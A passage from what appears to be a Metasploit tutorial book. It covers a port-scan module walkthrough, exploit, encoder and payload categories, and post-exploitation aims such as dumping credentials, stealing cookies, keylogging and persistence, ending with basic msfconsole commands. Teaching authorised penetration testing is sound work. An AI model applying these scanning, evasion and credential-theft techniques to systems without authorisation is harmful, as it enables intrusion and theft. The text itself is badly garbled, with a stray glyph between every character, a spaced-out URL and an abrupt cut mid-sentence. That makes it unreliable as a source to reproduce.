�F�r�a�m�e�w�o�r�k�.� �Y�o�u� �m�a�y� �n�o�t� �n�e�e�d� �t�o� �k�n�o�w� �e�a�c�h� �a�n�d� �e�v�e�r�y� �m�o�d�u�l�e� �i�n�d�i�v�i�d�u�a�l�l�y�.� �Y�o�u� �j�u�s�t� �n�e�e�d
�t�o� �s�e�a�r�c�h� �t�h�e� �r�i�g�h�t� �m�o�d�u�l�e� �i�n� �t�h�e� �r�e�q�u�i�r�e�d� �c�o�n�t�e�x�t� �a�n�d� �u�s�e� �i�t� �a�c�c�o�r�d�i�n�g�l�y�.� �W�e� �w�i�l�l� �n�o�w� �s�e�e
�h�o�w� �t�o� �u�s�e� �a�n� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�.

�D�u�r�i�n�g� �t�h�e� �c�o�u�r�s�e� �o�f� �t�h�i�s� �b�o�o�k�,� �w�e� �w�i�l�l� �u�s�e� �m�a�n�y� �d�i�f�f�e�r�e�n�t� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �a�s� �a�n�d� �w�h�e�n
�r�e�q�u�i�r�e�d�;� �h�o�w�e�v�e�r�,� �l�e�t�'�s� �g�e�t� �s�t�a�r�t�e�d� �w�i�t�h� �a� �s�i�m�p�l�e� �e�x�a�m�p�l�e�:

�O�p�e�n� �u�p� �t�h�e� �t�e�r�m�i�n�a�l� �w�i�n�d�o�w� �a�n�d� �s�t�a�r�t� �M�e�t�a�s�p�l�o�i�t� �u�s�i�n�g� �t�h�e� �c�o�m�m�a�n�d�1�.
msfconsole �.

�S�e�l�e�c�t� �t�h�e� auxiliary � �m�o�d�u�l�e� portscan/tcp � �t�o� �p�e�r�f�o�r�m� �a� �p�o�r�t� �s�c�a�n� �a�g�a�i�n�s�t� �a�2�.
�t�a�r�g�e�t� �s�y�s�t�e�m�.
�U�s�i�n�g� �t�h�e� show� �c�o�m�m�a�n�d�,� �l�i�s�t� �d�o�w�n� �a�l�l� �p�a�r�a�m�e�t�e�r�s� �t�h�a�t� �n�e�e�d� �t�o� �b�e� �c�o�n�f�i�g�u�r�e�d� �i�n�3�.
�o�r�d�e�r� �t�o� �r�u�n� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�.
�U�s�i�n�g� �t�h�e� set RHOSTS � �c�o�m�m�a�n�d�,� �s�e�t� �t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�.�4�.

�U�s�i�n�g� �t�h�e� set PORTS � �c�o�m�m�a�n�d�,� �s�e�l�e�c�t� �t�h�e� �p�o�r�t� �r�a�n�g�e� �y�o�u� �w�a�n�t� �t�o� �s�c�a�n� �o�n� �y�o�u�r�5�.
�t�a�r�g�e�t� �s�y�s�t�e�m�.
�U�s�i�n�g� �t�h�e� run � �c�o�m�m�a�n�d�,� �e�x�e�c�u�t�e� �t�h�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �w�i�t�h� �t�h�e� �p�a�r�a�m�e�t�e�r�s�6�.
�c�o�n�f�i�g�u�r�e�d� �e�a�r�l�i�e�r�.

�Y�o�u� �c�a�n� �s�e�e� �t�h�e� �u�s�e� �o�f� �a�l�l� �t�h�e� �p�r�e�v�i�o�u�s�l�y� �m�e�n�t�i�o�n�e�d� �c�o�m�m�a�n�d�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�E�x�p�l�o�i�t�s
�E�x�p�l�o�i�t�s� �a�r�e� �t�h�e� �m�o�s�t� �i�m�p�o�r�t�a�n�t� �p�a�r�t� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �A�n� �e�x�p�l�o�i�t� �i�s� �t�h�e� �a�c�t�u�a�l
�p�i�e�c�e� �o�f� �c�o�d�e� �t�h�a�t� �w�i�l�l� �g�i�v�e� �y�o�u� �t�h�e� �r�e�q�u�i�r�e�d� �a�c�c�e�s�s� �t�o� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �T�h�e�r�e� �a�r�e� �2�5�0�0� �p�l�u�s
�e�x�p�l�o�i�t�s� �s�p�r�e�a�d� �a�c�r�o�s�s� �m�o�r�e� �t�h�a�n� �2�0� �c�a�t�e�g�o�r�i�e�s� �b�a�s�e�d� �o�n� �p�l�a�t�f�o�r�m� �t�h�a�t� �e�x�p�l�o�i�t� �i�s� �s�u�p�p�o�r�t�e�d�.
�N�o�w�,� �y�o�u� �m�i�g�h�t� �b�e� �t�h�i�n�k�i�n�g� �t�h�a�t� �o�u�t� �o�f� �s�o� �m�a�n�y� �a�v�a�i�l�a�b�l�e� �e�x�p�l�o�i�t�s�,� �w�h�i�c�h� �i�s� �t�h�e� �o�n�e� �t�h�a�t
�n�e�e�d�s� �t�o� �b�e� �u�s�e�d�.� �T�h�e� �d�e�c�i�s�i�o�n� �t�o� �u�s�e� �a� �p�a�r�t�i�c�u�l�a�r� �e�x�p�l�o�i�t� �a�g�a�i�n�s�t� �a� �t�a�r�g�e�t� �c�a�n� �b�e� �m�a�d�e� �o�n�l�y
�a�f�t�e�r� �e�x�t�e�n�s�i�v�e� �e�n�u�m�e�r�a�t�i�o�n� �a�n�d� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �o�f� �o�u�r� �t�a�r�g�e�t�.� �(�R�e�f�e�r� �t�o� �t�h�e� �s�e�c�t�i�o�n
�p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e� �c�y�c�l�e� �f�r�o�m� Chapter 1 �,� �I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �S�u�p�p�o�r�t�i�n�g� �T�o�o�l�s�)�.
�P�r�o�p�e�r� �e�n�u�m�e�r�a�t�i�o�n� �a�n�d� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �o�f� �t�h�e� �t�a�r�g�e�t� �w�i�l�l� �g�i�v�e� �u�s� �t�h�e� �f�o�l�l�o�w�i�n�g
�i�n�f�o�r�m�a�t�i�o�n� �b�a�s�e�d� �o�n� �w�h�i�c�h� �w�e� �c�a�n� �c�h�o�o�s�e� �t�h�e� �c�o�r�r�e�c�t� �e�x�p�l�o�i�t�:

�O�p�e�r�a�t�i�n�g� �s�y�s�t�e�m� �o�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �(�i�n�c�l�u�d�i�n�g� �e�x�a�c�t� �v�e�r�s�i�o�n� �a�n�d� �a�r�c�h�i�t�e�c�t�u�r�e�)
�O�p�e�n� �p�o�r�t�s� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �(�T�C�P� �a�n�d� �U�D�P�)
�S�e�r�v�i�c�e�s� �a�l�o�n�g� �w�i�t�h� �v�e�r�s�i�o�n�s� �r�u�n�n�i�n�g� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m
�P�r�o�b�a�b�i�l�i�t�y� �o�f� �a� �p�a�r�t�i�c�u�l�a�r� �s�e�r�v�i�c�e� �b�e�i�n�g� �v�u�l�n�e�r�a�b�l�e

�T�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �s�h�o�w�s� �t�h�e� �v�a�r�i�o�u�s� �c�a�t�e�g�o�r�i�e�s� �o�f� �e�x�p�l�o�i�t�s� �a�v�a�i�l�a�b�l�e� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�:

�L�i�n�u�x �W�i�n�d�o�w�s �U�n�i�x �O�S� �X �A�p�p�l�e� �i�O�S
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�I�n� �t�h�e� �u�p�c�o�m�i�n�g� �c�h�a�p�t�e�r�s�,� �w�e�'�l�l� �s�e�e� �h�o�w� �t�o� �u�s�e� �a�n� �e�x�p�l�o�i�t� �a�g�a�i�n�s�t� �a� �v�u�l�n�e�r�a�b�l�e� �t�a�r�g�e�t�.

�E�n�c�o�d�e�r�s
�I�n� �a�n�y� �o�f� �t�h�e� �g�i�v�e�n� �r�e�a�l�-�w�o�r�l�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �s�c�e�n�a�r�i�o�,� �i�t�'�s� �q�u�i�t�e� �p�o�s�s�i�b�l�e� �t�h�a�t� �o�u�r
�a�t�t�e�m�p�t� �t�o� �a�t�t�a�c�k� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �w�o�u�l�d� �g�e�t� �d�e�t�e�c�t�e�d�/�n�o�t�i�c�e�d� �b�y� �s�o�m�e� �k�i�n�d� �o�f� �s�e�c�u�r�i�t�y
�s�o�f�t�w�a�r�e� �p�r�e�s�e�n�t� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �T�h�i�s� �m�a�y� �j�e�o�p�a�r�d�i�z�e� �a�l�l� �o�u�r� �e�f�f�o�r�t�s� �t�o� �g�a�i�n� �a�c�c�e�s�s� �t�o
�t�h�e� �r�e�m�o�t�e� �s�y�s�t�e�m�.� �T�h�i�s� �i�s� �e�x�a�c�t�l�y� �w�h�e�n� �e�n�c�o�d�e�r�s� �c�o�m�e� �t�o� �t�h�e� �r�e�s�c�u�e�.� �T�h�e� �j�o�b� �o�f� �t�h�e
�e�n�c�o�d�e�r�s� �i�s� �t�o� �o�b�f�u�s�c�a�t�e� �o�u�r� �e�x�p�l�o�i�t� �a�n�d� �p�a�y�l�o�a�d� �i�n� �s�u�c�h� �a� �w�a�y� �t�h�a�t� �i�t� �g�o�e�s� �u�n�n�o�t�i�c�e�d� �b�y
�a�n�y� �o�f� �t�h�e� �s�e�c�u�r�i�t�y� �s�y�s�t�e�m�s� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.
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�T�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �s�h�o�w�s� �t�h�e� �v�a�r�i�o�u�s� �e�n�c�o�d�e�r� �c�a�t�e�g�o�r�i�e�s� �a�v�a�i�l�a�b�l�e� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�:

generic mipsbe ppc

x64 php mipsle

cmd sparc x86

�W�e�'�l�l� �b�e� �l�o�o�k�i�n�g� �a�t� �e�n�c�o�d�e�r�s� �i�n� �m�o�r�e� �d�e�t�a�i�l� �i�n� �t�h�e� �u�p�c�o�m�i�n�g� �c�h�a�p�t�e�r�s�.

�P�a�y�l�o�a�d�s
�T�o� �u�n�d�e�r�s�t�a�n�d� �w�h�a�t� �a� �p�a�y�l�o�a�d� �d�o�e�s�,� �l�e�t�'�s� �c�o�n�s�i�d�e�r� �a� �r�e�a�l�-�w�o�r�l�d� �e�x�a�m�p�l�e�.� �A� �m�i�l�i�t�a�r�y� �u�n�i�t� �o�f
�a� �c�e�r�t�a�i�n� �c�o�u�n�t�r�y� �d�e�v�e�l�o�p�s� �a� �n�e�w� �m�i�s�s�i�l�e� �t�h�a�t� �c�a�n� �t�r�a�v�e�l� �a� �r�a�n�g�e� �o�f� �5�0�0� �k�m� �a�t� �v�e�r�y� �h�i�g�h
�s�p�e�e�d�.� �N�o�w�,� �t�h�e� �m�i�s�s�i�l�e� �b�o�d�y� �i�t�s�e�l�f� �i�s� �o�f� �n�o� �u�s�e� �u�n�l�e�s�s� �i�t�'�s� �f�i�l�l�e�d� �w�i�t�h� �t�h�e� �r�i�g�h�t� �k�i�n�d� �o�f
�a�m�m�u�n�i�t�i�o�n�.� �N�o�w�,� �t�h�e� �m�i�l�i�t�a�r�y� �u�n�i�t� �d�e�c�i�d�e�d� �t�o� �l�o�a�d� �h�i�g�h� �e�x�p�l�o�s�i�v�e� �m�a�t�e�r�i�a�l� �w�i�t�h�i�n� �t�h�e
�m�i�s�s�i�l�e� �s�o� �t�h�a�t� �w�h�e�n� �t�h�e� �m�i�s�s�i�l�e� �h�i�t�s� �t�h�e� �t�a�r�g�e�t�,� �t�h�e� �e�x�p�l�o�s�i�v�e� �m�a�t�e�r�i�a�l� �w�i�t�h�i�n� �t�h�e� �m�i�s�s�i�l�e
�e�x�p�l�o�d�e�s� �a�n�d� �c�a�u�s�e�s� �t�h�e� �r�e�q�u�i�r�e�d� �d�a�m�a�g�e� �t�o� �t�h�e� �e�n�e�m�y�.� �S�o�,� �i�n� �t�h�i�s� �c�a�s�e�,� �t�h�e� �h�i�g�h� �e�x�p�l�o�s�i�v�e
�m�a�t�e�r�i�a�l� �w�i�t�h�i�n� �t�h�e� �m�i�s�s�i�l�e� �i�s� �t�h�e� �p�a�y�l�o�a�d�.� �T�h�e� �p�a�y�l�o�a�d� �c�a�n� �b�e� �c�h�a�n�g�e�d� �b�a�s�e�d� �o�n� �t�h�e
�s�e�v�e�r�i�t�y� �o�f� �d�a�m�a�g�e� �t�h�a�t� �i�s� �t�o� �b�e� �c�a�u�s�e�d� �a�f�t�e�r� �t�h�e� �m�i�s�s�i�l�e� �i�s� �f�i�r�e�d�.

�S�i�m�i�l�a�r�l�y�,� �p�a�y�l�o�a�d�s� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �l�e�t� �u�s� �d�e�c�i�d�e� �w�h�a�t� �a�c�t�i�o�n� �i�s� �t�o� �b�e
�p�e�r�f�o�r�m�e�d� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �o�n�c�e� �t�h�e� �e�x�p�l�o�i�t� �i�s� �s�u�c�c�e�s�s�f�u�l�.� �T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �v�a�r�i�o�u�s
�p�a�y�l�o�a�d� �c�a�t�e�g�o�r�i�e�s� �a�v�a�i�l�a�b�l�e� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�:

�S�i�n�g�l�e�s�:� �T�h�e�s�e� �a�r�e� �s�o�m�e�t�i�m�e�s� �a�l�s�o� �r�e�f�e�r�r�e�d� �t�o� �a�s� �i�n�l�i�n�e� �o�r� �n�o�n� �s�t�a�g�e�d� �p�a�y�l�o�a�d�s�.
�P�a�y�l�o�a�d�s� �i�n� �t�h�i�s� �c�a�t�e�g�o�r�y� �a�r�e� �a� �c�o�m�p�l�e�t�e�l�y� �s�e�l�f�-�c�o�n�t�a�i�n�e�d� �u�n�i�t� �o�f� �t�h�e� �e�x�p�l�o�i�t� �a�n�d
�r�e�q�u�i�r�e� �s�h�e�l�l�c�o�d�e�,� �w�h�i�c�h� �m�e�a�n�s� �t�h�e�y� �h�a�v�e� �e�v�e�r�y�t�h�i�n�g� �t�h�a�t� �i�s� �r�e�q�u�i�r�e�d� �t�o� �e�x�p�l�o�i�t
�t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �t�h�e� �t�a�r�g�e�t�.� �T�h�e� �d�i�s�a�d�v�a�n�t�a�g�e� �o�f� �s�u�c�h� �p�a�y�l�o�a�d�s� �i�s� �t�h�e�i�r� �s�i�z�e�.
�S�i�n�c�e� �t�h�e�y� �c�o�n�t�a�i�n� �t�h�e� �c�o�m�p�l�e�t�e� �e�x�p�l�o�i�t� �a�n�d� �s�h�e�l�l�c�o�d�e�,� �t�h�e�y� �c�a�n� �b�e� �q�u�i�t�e� �b�u�l�k�y� �a�t
�t�i�m�e�s�,� �r�e�n�d�e�r�i�n�g� �t�h�e�m� �u�s�e�l�e�s�s� �i�n� �c�e�r�t�a�i�n� �s�c�e�n�a�r�i�o�s� �w�i�t�h� �s�i�z�e� �r�e�s�t�r�i�c�t�i�o�n�s�.
�S�t�a�g�e�r�s�:� �T�h�e�r�e� �a�r�e� �c�e�r�t�a�i�n� �s�c�e�n�a�r�i�o�s� �w�h�e�r�e� �t�h�e� �s�i�z�e� �o�f� �t�h�e� �p�a�y�l�o�a�d� �m�a�t�t�e�r�s� �a� �l�o�t�.� �A
�p�a�y�l�o�a�d� �w�i�t�h� �e�v�e�n� �a� �s�i�n�g�l�e� �b�y�t�e� �e�x�t�r�a� �m�a�y� �n�o�t� �f�u�n�c�t�i�o�n� �w�e�l�l� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.
�T�h�e� �s�t�a�g�e�r�s� �p�a�y�l�o�a�d� �c�o�m�e� �h�a�n�d�y� �i�n� �s�u�c�h� �a� �s�i�t�u�a�t�i�o�n�.� �T�h�e� �s�t�a�g�e�r�s� �p�a�y�l�o�a�d� �s�i�m�p�l�y
�s�e�t�s� �u�p� �a� �c�o�n�n�e�c�t�i�o�n� �b�e�t�w�e�e�n� �t�h�e� �a�t�t�a�c�k�i�n�g� �s�y�s�t�e�m� �a�n�d� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �I�t
�d�o�e�s�n�'�t� �h�a�v�e� �t�h�e� �s�h�e�l�l�c�o�d�e� �n�e�c�e�s�s�a�r�y� �t�o� �e�x�p�l�o�i�t� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m�.� �B�e�i�n�g� �v�e�r�y� �s�m�a�l�l� �i�n� �s�i�z�e�,� �i�t� �f�i�t�s� �i�n� �w�e�l�l� �i�n� �m�a�n�y� �s�c�e�n�a�r�i�o�s�.
�S�t�a�g�e�s�:� �O�n�c�e� �t�h�e� �s�t�a�g�e�r� �t�y�p�e� �p�a�y�l�o�a�d� �h�a�s� �s�e�t� �u�p� �a� �c�o�n�n�e�c�t�i�o�n� �b�e�t�w�e�e�n� �t�h�e
�a�t�t�a�c�k�i�n�g� �s�y�s�t�e�m� �a�n�d� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �t�h�e� �"�s�t�a�g�e�s�"� �p�a�y�l�o�a�d�s� �a�r�e� �t�h�e�n
�d�o�w�n�l�o�a�d�e�d� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �T�h�e�y� �c�o�n�t�a�i�n� �t�h�e� �r�e�q�u�i�r�e�d� �s�h�e�l�l�c�o�d�e� �t�o� �e�x�p�l�o�i�t
�t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.
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�T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �a� �s�a�m�p�l�e� �p�a�y�l�o�a�d� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d� �t�o� �o�b�t�a�i�n� �a� �r�e�v�e�r�s�e� �T�C�P
�s�h�e�l�l� �f�r�o�m� �a� �c�o�m�p�r�o�m�i�s�e�d� �W�i�n�d�o�w�s� �s�y�s�t�e�m�:

�Y�o�u� �w�i�l�l� �b�e� �l�e�a�r�n�i�n�g� �h�o�w� �t�o� �u�s�e� �v�a�r�i�o�u�s� �p�a�y�l�o�a�d�s� �a�l�o�n�g� �w�i�t�h� �e�x�p�l�o�i�t�s� �i�n� �t�h�e� �u�p�c�o�m�i�n�g
�c�h�a�p�t�e�r�s�.

�P�o�s�t
�T�h�e� �p�o�s�t� �m�o�d�u�l�e�s� �c�o�n�t�a�i�n� �v�a�r�i�o�u�s� �s�c�r�i�p�t�s� �a�n�d� �u�t�i�l�i�t�i�e�s� �t�h�a�t� �h�e�l�p� �u�s� �t�o� �f�u�r�t�h�e�r� �i�n�f�i�l�t�r�a�t�e� �o�u�r
�t�a�r�g�e�t� �s�y�s�t�e�m� �a�f�t�e�r� �a� �s�u�c�c�e�s�s�f�u�l� �e�x�p�l�o�i�t�a�t�i�o�n�.� �O�n�c�e� �w�e� �s�u�c�c�e�s�s�f�u�l�l�y� �e�x�p�l�o�i�t� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y
�a�n�d� �g�e�t� �i�n�t�o� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �m�o�d�u�l�e�s� �m�a�y� �h�e�l�p� �u�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�w�a�y�s�:

�E�s�c�a�l�a�t�e� �u�s�e�r� �p�r�i�v�i�l�e�g�e�s
�D�u�m�p� �O�S� �c�r�e�d�e�n�t�i�a�l�s
�S�t�e�a�l� �c�o�o�k�i�e�s� �a�n�d� �s�a�v�e�d� �p�a�s�s�w�o�r�d�s
�G�e�t� �k�e�y� �l�o�g�s� �f�r�o�m� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m
�E�x�e�c�u�t�e� �P�o�w�e�r�S�h�e�l�l� �s�c�r�i�p�t�s
�M�a�k�e� �o�u�r� �a�c�c�e�s�s� �p�e�r�s�i�s�t�e�n�t
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�T�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �s�h�o�w�s� �t�h�e� �v�a�r�i�o�u�s� �c�a�t�e�g�o�r�i�e�s� �o�f� �"�p�o�s�t�"� �m�o�d�u�l�e�s� �a�v�a�i�l�a�b�l�e� �i�n� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�:

�L�i�n�u�x�W�i�n�d�o�w�s�O�S� �X �C�i�s�c�o

�S�o�l�a�r�i�s�F�i�r�e�f�o�x �A�i�x �A�n�d�r�o�i�d

�M�u�l�t�i �Z�i�p �P�o�w�e�r�s�h�e�l�l

�T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�a�s� �m�o�r�e� �t�h�a�n� �2�5�0� �s�u�c�h� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �u�t�i�l�i�t�i�e�s� �a�n�d� �s�c�r�i�p�t�s�.
�W�e�'�l�l� �b�e� �u�s�i�n�g� �s�o�m�e� �o�f� �t�h�e�m� �w�h�e�n� �w�e� �d�i�s�c�u�s�s� �m�o�r�e� �o�n� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �t�e�c�h�n�i�q�u�e�s� �i�n� �t�h�e
�u�p�c�o�m�i�n�g� �c�h�a�p�t�e�r�s�.

�P�l�a�y�i�n�g� �a�r�o�u�n�d� �w�i�t�h� �m�s�f�c�o�n�s�o�l�e
�N�o�w� �t�h�a�t� �w�e� �h�a�v�e� �a� �b�a�s�i�c� �u�n�d�e�r�s�t�a�n�d�i�n�g� �o�f� �t�h�e� �s�t�r�u�c�t�u�r�e� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �l�e�t�'�s
�g�e�t� �s�t�a�r�t�e�d� �w�i�t�h� �t�h�e� �b�a�s�i�c�s� �o�f� msfconsole � �p�r�a�c�t�i�c�a�l�l�y�.

�T�h�e� msfconsole � �i�s� �n�o�t�h�i�n�g� �b�u�t� �a� �s�i�m�p�l�e� �c�o�m�m�a�n�d�-�l�i�n�e� �i�n�t�e�r�f�a�c�e� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�.� �T�h�o�u�g�h� msfconsole � �m�a�y� �a�p�p�e�a�r� �a� �b�i�t� �c�o�m�p�l�e�x� �i�n�i�t�i�a�l�l�y�,� �i�t� �i�s� �t�h�e� �e�a�s�i�e�s�t� �a�n�d
�m�o�s�t� �f�l�e�x�i�b�l�e� �w�a�y� �t�o� �i�n�t�e�r�a�c�t� �w�i�t�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �W�e�'�l�l� �u�s�e� msfconsole � �f�o�r
�i�n�t�e�r�a�c�t�i�n�g� �w�i�t�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �f�r�a�m�e�w�o�r�k� �t�h�r�o�u�g�h�o�u�t� �t�h�e� �c�o�u�r�s�e� �o�f� �t�h�i�s� �b�o�o�k�.

�S�o�m�e� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �e�d�i�t�i�o�n�s� �d�o� �o�f�f�e�r� �G�U�I� �a�n�d� �a� �w�e�b�-�b�a�s�e�d� �i�n�t�e�r�f�a�c�e�.
�H�o�w�e�v�e�r�,� �f�r�o�m� �a� �l�e�a�r�n�i�n�g� �p�e�r�s�p�e�c�t�i�v�e�,� �i�t�'�s� �a�l�w�a�y�s� �r�e�c�o�m�m�e�n�d�e�d� �t�o� �m�a�s�t�e�r
�t�h�e� �c�o�m�m�a�n�d�-�l�i�n�e� �c�o�n�s�o�l�e� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �t�h�a�t� �i�s
msfconsole �.

�L�e�t�'�s� �l�o�o�k� �a�t� �s�o�m�e� �o�f� �t�h�e� msfconsole � �c�o�m�m�a�n�d�s�:

�T�h�e� banner � �c�o�m�m�a�n�d�:� �T�h�e� banner � �c�o�m�m�a�n�d� �i�s� �a� �v�e�r�y� �s�i�m�p�l�e� �c�o�m�m�a�n�d� �u�s�e�d� �t�o
�d�i�s�p�l�a�y� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �b�a�n�n�e�r� �i�n�f�o�r�m�a�t�i�o�n�.� �T�h�i�s� �i�n�f�o�r�m�a�t�i�o�n� �t�y�p�i�c�a�l�l�y
�i�n�c�l�u�d�e�s� �i�t�s� �v�e�r�s�i�o�n� �d�e�t�a�i�l�s� �a�n�d� �t�h�e� �n�u�m�b�e�r� �o�f� �e�x�p�l�o�i�t�s�,� �a�u�x�i�l�i�a�r�i�e�s�,� �p�a�y�l�o�a�d�s�,
�e�n�c�o�d�e�r�s�,� �a�n�d� �n�o�p�s� �g�e�n�e�r�a�t�o�r�s� �a�v�a�i�l�a�b�l�e� �i�n� �t�h�e� �c�u�r�r�e�n�t�l�y� �i�n�s�t�a�l�l�e�d� �v�e�r�s�i�o�n�.
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�I�t�s� �s�y�n�t�a�x� �i�s� msf> banner �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e
banner � �c�o�m�m�a�n�d�:

�T�h�e� version � �c�o�m�m�a�n�d�:� �T�h�e� version � �c�o�m�m�a�n�d� �i�s� �u�s�e�d� �t�o� �c�h�e�c�k� �t�h�e� �v�e�r�s�i�o�n� �o�f
�t�h�e� �c�u�r�r�e�n�t� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�n�s�t�a�l�l�a�t�i�o�n�.� �Y�o�u� �c�a�n� �v�i�s�i�t� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�i�t�e� �i�n
�o�r�d�e�r� �t�o� �c�h�e�c�k� �t�h�e� �l�a�t�e�s�t� �v�e�r�s�i�o�n� �o�f�f�i�c�i�a�l�l�y� �r�e�l�e�a�s�e�d� �b�y� �M�e�t�a�s�p�l�o�i�t�:
h  t  t  p  s  ://g  i  t  h  u  b  .  c  o  m /r  a  p  i  d  7/m  e  t  a  s  p  l  o  i  t  -  f  r  a  m e  w o  r  k  /w  i  k  i  /D  o  w n  l  o  a  d  s  -  b  y  -  V e  r
s  i  o  n
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�I�t�s� �s�y�n�t�a�x� �i�s� msf> version �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e
version � �c�o�m�m�a�n�d�:

�T�h�e� connect � �c�o�m�m�a�n�d�:� �T�h�e� connect � �c�o�m�m�a�n�d� �p�r�e�s�e�n�t� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� 
�F�r�a�m�e�w�o�r�k� �g�i�v�e�s� �s�i�m�i�l�a�r� �f�u�n�c�t�i�o�n�a�l�i�t�y� �t�o� �t�h�a�t� �o�f� �a� �p�u�t�t�y� �c�l�i�e�n�t� �o�r� �n�e�t�c�a�t�.� �Y�o�u� �c�a�n
�u�s�e� �t�h�i�s� �f�e�a�t�u�r�e� �f�o�r� �a� �q�u�i�c�k� �p�o�r�t� �s�c�a�n� �o�r� �f�o�r� �p�o�r�t� �b�a�n�n�e�r� �g�r�a�b�b�i�n�g�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf> connect <ip:port> �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s
�t�h�e� �u�s�e� �o�f� �t�h�e� connect � �c�o�m�m�a�n�d�:

�T�h�e� help � �c�o�m�m�a�n�d�:� �A�s� �t�h�e� �n�a�m�e� �s�u�g�g�e�s�t�s�,� �t�h�e� help � �c�o�m�m�a�n�d� �o�f�f�e�r�s� �a�d�d�i�t�i�o�n�a�l� 
�i�n�f�o�r�m�a�t�i�o�n� �o�n� �t�h�e� �u�s�a�g�e� �o�f� �a�n�y� �o�f� �t�h�e� �c�o�m�m�a�n�d�s� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�.
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�I�t�s� �s�y�n�t�a�x� �i�s� msf> help �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e� help
�c�o�m�m�a�n�d�:

�T�h�e� route � �c�o�m�m�a�n�d�:� �T�h�e� route � �c�o�m�m�a�n�d� �i�s� �u�s�e�d� �t�o� �a�d�d�,� �v�i�e�w�,� �m�o�d�i�f�y�,� �o�r
